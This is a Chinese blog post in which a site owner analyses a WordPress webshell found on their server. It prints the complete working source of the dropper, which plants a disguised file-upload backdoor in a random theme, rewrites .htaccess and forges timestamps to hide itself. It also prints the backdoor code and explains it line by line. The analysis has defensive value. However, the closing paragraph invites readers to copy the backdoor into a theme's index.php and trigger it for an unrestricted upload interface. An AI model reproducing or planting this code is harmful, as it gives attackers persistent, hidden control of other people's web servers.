几年前就发现了这个webshell木马程序,一直没管过,主要是只有一个采集站,无所谓了。今天重装服务器,发现它还在那儿,顺便处理下。
源码如下
复制
<?php
function search_files($dir) {
$found = array();
$dir = addslash($dir);
$files = scandir($dir);
foreach ($files as $f) {
if($f === '.' or $f === '..') continue;
$fpath = $dir . $f;
if (!is_dir($fpath))
array_push($found , $dir.$f);
}
return $found;
}
function addslash($dir) {
$lc = substr($dir , -1);
if ($lc != "/")
$dir .= "/";
return $dir;
}
function get_timestamp($dir) {
$found = array();
$dir = addslash($dir);
$files = scandir($dir);
foreach ($files as $f) {
if($f === '.' or $f === '..') continue;
$fpath = $dir . $f;
if (!is_dir($fpath)) {
array_push($found , filemtime($dir . $f));
}
}
return min($found);
}
function fixslashes($path) {
return str_replace('//','/',$path);
}
function find_wp_index($dir){
$edirs = explode("/", $dir);
$wpdir = '';
while(count($edirs)) {
$path = implode("/", $edirs);
if(file_exists($path . "/wp-config.php")) {
$wpdir = $path;
break;
}
array_pop($edirs);
}
return $wpdir;
}
function load_file() {
$shellbase = array("index" , "class" , "theme" , "page" , "content" , "search");
$shellsuffix = array("-page" , "-content" , "-navs" , "-layout" , "-top" , "-bottom" , "-search" , "-tags" , "-compat" , "-rss" , "-functions" , "-css" , "-model" , "-widget");
$goodcode = '<?php if($_GET[\'df\'] ==1) {if($_FILES[\'fl\']){move_uploaded_file($_FILES[\'fl\'][\'tmp_name\'], $_POST[\'flname\']);$f = file_get_contents($_POST[\'flname\']);$c = base64_decode($f); file_put_contents($_POST[\'flname\'],$c);echo \'Uploaded\';} else { echo \'Problem\';} unlink(__FILE__);} else {echo \'Hello\';}?>';
$htaccess = '<Files *.php>' . "\r\n" . 'Order allow,deny' . "\r\n" . 'Allow from all' . "\r\n" . '</Files>';
$filedir = pathinfo(__FILE__,PATHINFO_DIRNAME);
$wpindex = find_wp_index($filedir);
$furn = '';
if (!$wpindex) {
print("wpindex not found");
exit();
}
$allthemes = scandir(fixslashes($wpindex."/wp-content/themes/"));
$dirslist = array();
foreach($allthemes as $dir) {
if($dir === '.' or $dir === '..') continue;
$themepath = fixslashes($wpindex . "/wp-content/themes/" . $dir);
if (is_dir($themepath))
array_push($dirslist , $dir);
}
$i = array_rand($dirslist);
$tdir = $dirslist[$i];
$sdir = fixslashes($wpindex . "/wp-content/themes/" . $tdir . "/");
$files = search_files($sdir);
$done = false;
$fpath = '';
$ib = array_rand($shellbase);
$fbase = $shellbase[$ib];
$is = array_rand($shellsuffix);
$fnew = $fbase . $shellsuffix[$is] . '.php';
while(!$done && !empty($files)) {
$i = array_rand($files);
$themefile = $files[$i];
unset($files[$i]);
if (strpos($themefile , '.php') !== false) {
$fpath = substr($themefile,0,-4);
$is = array_rand($shellsuffix);
$fpath = fixslashes($fpath . $shellsuffix[$is] . '.php');
$done = true;
}
}
if (!$done)
$fpath = fixslashes($sdir . $fnew);
$ind = strrpos($fpath , '/');
$fname = substr($fpath, $ind + 1);
$dirmtime = filemtime($sdir);
$goodfile = fopen($fpath , "w+");
if (!$goodfile) {
$fpath = fixslashes($filedir . "/" . $fnew);
$goodfile = fopen($fpath , "w+") or die("Unable to open file");
}
fwrite($goodfile , $goodcode);
fclose($goodfile);
$timestamp = get_timestamp($sdir);
$htaccess_file = $sdir . '.htaccess';
$hfile = fopen($htaccess_file , "w+");
if ($hfile) {
fwrite($hfile,$htaccess);
fclose($hfile);
}
touch($fpath,$timestamp);
touch($htaccess_file,$timestamp);
touch($sdir,$dirmtime);
if ($fpath) {
$furn = fixslashes('/' . str_replace($wpindex , '' , $fpath));
}
return $furn;
}
if(isset($_GET['df']) && $_GET['df'] == '1')
$shell = load_file();
echo '<spath>' . $shell . '</spath>';
?>
主要功能和作用
- 寻找 WordPress 的根目录:
find_wp_index($dir)
通过检查wp-config.php
文件,逐层向上寻找 WordPress 的根目录。
- 搜索主题文件:
search_files($dir)
遍历指定目录,返回所有文件路径的数组(非目录)。
- 生成新的 PHP 文件:
load_file()
在 WordPress 主题目录中随机选择一个主题,尝试在其下生成恶意 PHP 文件。- 文件名由
$shellbase
和$shellsuffix
的随机组合生成,例如index-search.php
或theme-tags.php
。
- 写入恶意代码:
$goodcode
是一个伪装的文件上传程序,带有简单的 Base64 解码功能。攻击者可以通过该文件上传和解码任意文件。- 文件最终会被写入到主题目录下,或者如果失败,则写入当前脚本目录。
- 创建
.htaccess
文件:.htaccess
中的规则允许所有.php
文件被访问,可能意在绕过某些服务器限制。
- 时间戳伪造:
- 使用
touch()
修改新创建文件的时间戳,使其看起来像是与主题文件夹中其他文件同时生成的,增加隐蔽性。
- 使用
- 入口检测和调用:
- 脚本通过
$_GET['df']
参数触发(?df=1
),调用load_file()
并返回生成的文件路径。
- 脚本通过
其中的恶意代码主要是提供一个任意文件上传接口,并且还会尝试删除自身,达到隐藏目的,源码如下
复制
<?php if($_GET['df'] ==1) {if($_FILES['fl']){move_uploaded_file($_FILES['fl']['tmp_name'], $_POST['flname']);$f = file_get_contents($_POST['flname']);$c = base64_decode($f); file_put_contents($_POST['flname'],$c);echo 'Uploaded';} else { echo 'Problem';} unlink(__FILE__);} else {echo 'Hello';}?>
功能和逻辑分析
- 入口判断:
- 脚本通过检查
$_GET['df']
参数是否为1
来执行其主要功能:php复制代码if ($_GET['df'] == 1) { ... }
- 如果
df
参数存在且值为1
,执行文件上传逻辑。 - 如果不满足条件,则输出
Hello
。
- 如果
- 脚本通过检查
- 文件上传逻辑:
- 检查是否存在上传文件:php复制代码
if ($_FILES['fl']) { ... }
- 如果存在上传的文件(表单名为
fl
),尝试将其存储到$_POST['flname']
指定的文件名中:php复制代码move_uploaded_file($_FILES['fl']['tmp_name'], $_POST['flname']);
- 如果存在上传的文件(表单名为
- 检查是否存在上传文件:php复制代码
- 文件内容处理:
- 读取上传文件的内容:php复制代码
$f = file_get_contents($_POST['flname']);
- 对内容进行 Base64 解码:php复制代码
$c = base64_decode($f);
- 将解码后的内容写回原文件:php复制代码
file_put_contents($_POST['flname'], $c);
- 读取上传文件的内容:php复制代码
- 反馈结果:
- 如果文件上传成功并处理完成,输出
Uploaded
。 - 如果没有文件上传,则输出
Problem
。
- 如果文件上传成功并处理完成,输出
- 自删除机制:
- 在上传逻辑执行完毕后,脚本会尝试删除自身:php复制代码
unlink(__FILE__);
- 在上传逻辑执行完毕后,脚本会尝试删除自身:php复制代码
- 默认输出:
- 如果
$_GET['df']
不为1
,脚本只输出Hello
,看似无害,但实际上隐藏了恶意逻辑。
- 如果
生成的这个才是真正的后门,有了它就能上传各种程序到你的服务器上,有兴趣的可以将源码复制,放在你的主题文件的index.php
文件中,这样在访问网站的时候在域名后跟上?df=1
的get参数,就能触发这个木马程序,从而拿到无限制的上传接口。
评论 (0)